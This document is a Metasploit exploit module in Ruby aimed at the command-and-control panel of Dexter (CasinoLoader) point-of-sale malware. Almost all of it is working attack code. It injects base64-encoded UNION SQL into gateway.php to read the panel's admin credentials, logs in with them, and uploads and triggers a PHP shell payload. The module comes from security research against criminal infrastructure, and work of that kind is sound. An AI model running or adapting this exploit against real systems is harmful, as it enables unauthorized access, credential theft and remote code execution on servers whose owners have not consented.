##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"Dexter (CasinoLoader) SQL Injection"
,
'Description'
=> %q{
This
module
exploits a vulnerability found
in
the command
and
control panel
used to control Dexter (Point of Sale malware). This is done by accessing the
PHP
page used by bots to report
in
(gateway.php) which does
not
sanitize input.
Input is encrypted
and
encoded, but the key is supplied by the bot connecting.
The
'page'
parameter is used
in
this
case
. The command
and
control panel designates
a location to upload files,
and
can be used as a reliable location to write a
PHP
shell. Authentication is
not
needed to exploit this vulnerability.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'bwall (Brian Wallace) <bwallace[at]cylance.com>'
],
'References'
=>
[
[
"URL"
,
"http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
]
],
'Payload'
=>
{
'BadChars'
=>
"\x00"
},
'Platform'
=> [
'php'
],
'Arch'
=>
ARCH_PHP
,
'Targets'
=>
[
[
'CasinoLoader gateway.php on Windows'
, {}],
[
'CasinoLoader gateway.php on Linux'
, {}]
],
'Privileged'
=>
false
,
'DisclosureDate'
=>
"Feb 08 2014"
))
register_options(
[
OptString.
new
(
'TARGETURI'
, [
true
,
'The path to the CasinoLoader root folder'
,
'/'
]),
OptString.
new
(
'TARGETGATEWAY'
, [
true
,
'Name of bot gateway page'
,
'gateway.php'
]),
OptString.
new
(
'TARGETLOGIN'
, [
true
,
'Name of panel login page'
,
'index.php'
]),
OptString.
new
(
'TARGETUPLOAD'
, [
true
,
'Name of panel upload page'
,
'upload.php'
]),
OptString.
new
(
'TARGETDATABASEUSERTABLE'
, [
true
,
'Table in database that holds admin data'
,
'users'
])
],
self
.
class
)
end
def
gateway
return
normalize_uri(target_uri.path, datastore[
'TARGETGATEWAY'
])
end
def
login
return
normalize_uri(target_uri.path, datastore[
'TARGETLOGIN'
])
end
def
upload
return
normalize_uri(target_uri.path, datastore[
'TARGETUPLOAD'
])
end
def
database_get_field(table, column, row)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=>gateway,
'vars_post'
=> {
'val'
=>
'AA=='
,
'page'
=> Rex::Text.encode_base64(
"' AND 1=2 UNION ALL SELECT 1,"
+ column +
",3 FROM "
+ table +
" LIMIT 1 OFFSET "
+ row.to_s +
" -- --"
)
}
})
if
res
and
res.headers.has_key?(
'Set-Cookie'
)
and
res.headers[
'Set-Cookie'
].start_with?(
'response='
)
return
Rex::Text.decode_base64(
URI
.unescape(res.headers[
'Set-Cookie'
][
'response='
.length..-
1
]))[
1
..-
3
]
end
return
false
end
def
check
testvalue = rand_text_alpha(
9
)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=>gateway,
'vars_post'
=> {
'val'
=>
'AA=='
,
'page'
=> Rex::Text.encode_base64(
"' AND 1=2 UNION ALL SELECT 1,'"
+ testvalue +
"',3 -- --"
)
}
})
if
res
and
res.headers.has_key?(
'Set-Cookie'
)
and
res.headers[
'Set-Cookie'
].start_with?(
'response='
)
and
Rex::Text.decode_base64(
URI
.unescape(res.headers[
'Set-Cookie'
][
'response='
.length..-
1
])) ==
'$'
+ testvalue +
';#'
and
database_get_field(
'users'
,
'name'
,
0
) !=
false
return
Exploit::CheckCode::Vulnerable
end
return
Exploit::CheckCode::Safe
end
def
exploit
payload_name = rand_text_alpha(rand(
10
) +
5
) +
'.php'
print_status(
"#{peer} - Using SQL injection to acquire credentials"
)
user = database_get_field(
'users'
,
'name'
,
0
)
if
user ==
false
print_error(
"#{peer} - Failed to acquire administrator username"
)
return
end
password = database_get_field(
'users'
,
'password'
,
0
)
if
password ==
false
print_error(
"#{peer} - Failed to acquire administrator password"
)
end
print_status(
"#{peer} - Using #{user}:#{password}"
)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=>login,
'vars_post'
=> {
'submit'
=>
'1'
,
'username'
=> user,
'password'
=> password
}
})
login_cookie =
""
if
res
and
res.headers.has_key?(
'Location'
)
login_cookie = res.get_cookies
print_status(
"#{peer} - Login successful"
)
else
print_error(
"#{peer} - Failed to log in"
)
return
end
data = Rex::
MIME
::Message.
new
data.add_part(
"MAX_FILE_SIZE"
,
nil
,
nil
,
'form-data; name="MAX_FILE_SIZE"'
)
data.add_part(
"<?php #{payload.encoded} ?>"
,
nil
,
nil
,
"form-data; name=\"uploadedfile\"; filename=\"#{payload_name}\""
)
post_data = data.to_s
print_status(
"#{peer} - Sending PHP payload (#{payload_name})"
)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> upload,
'ctype'
=>
"multipart/form-data; boundary=#{data.bound}"
,
'cookie'
=> login_cookie,
'data'
=> post_data
})
if
res
and
res.code ==
200
and
res.body =~ /a href=
"upload.php\?del=(.*)"
>/
path =
$1
if
target.name =~ /Linux/
path = path.sub!
"\\"
,
"/"
end
target_path = normalize_uri(target_uri.path, path)
print_status(
"#{peer} - Requesting: #{target_path}"
)
send_request_raw({
'uri'
=> normalize_uri(target_path)})
handler
else
print_error(
"#{peer} - Failed to upload file"
)
return
end
end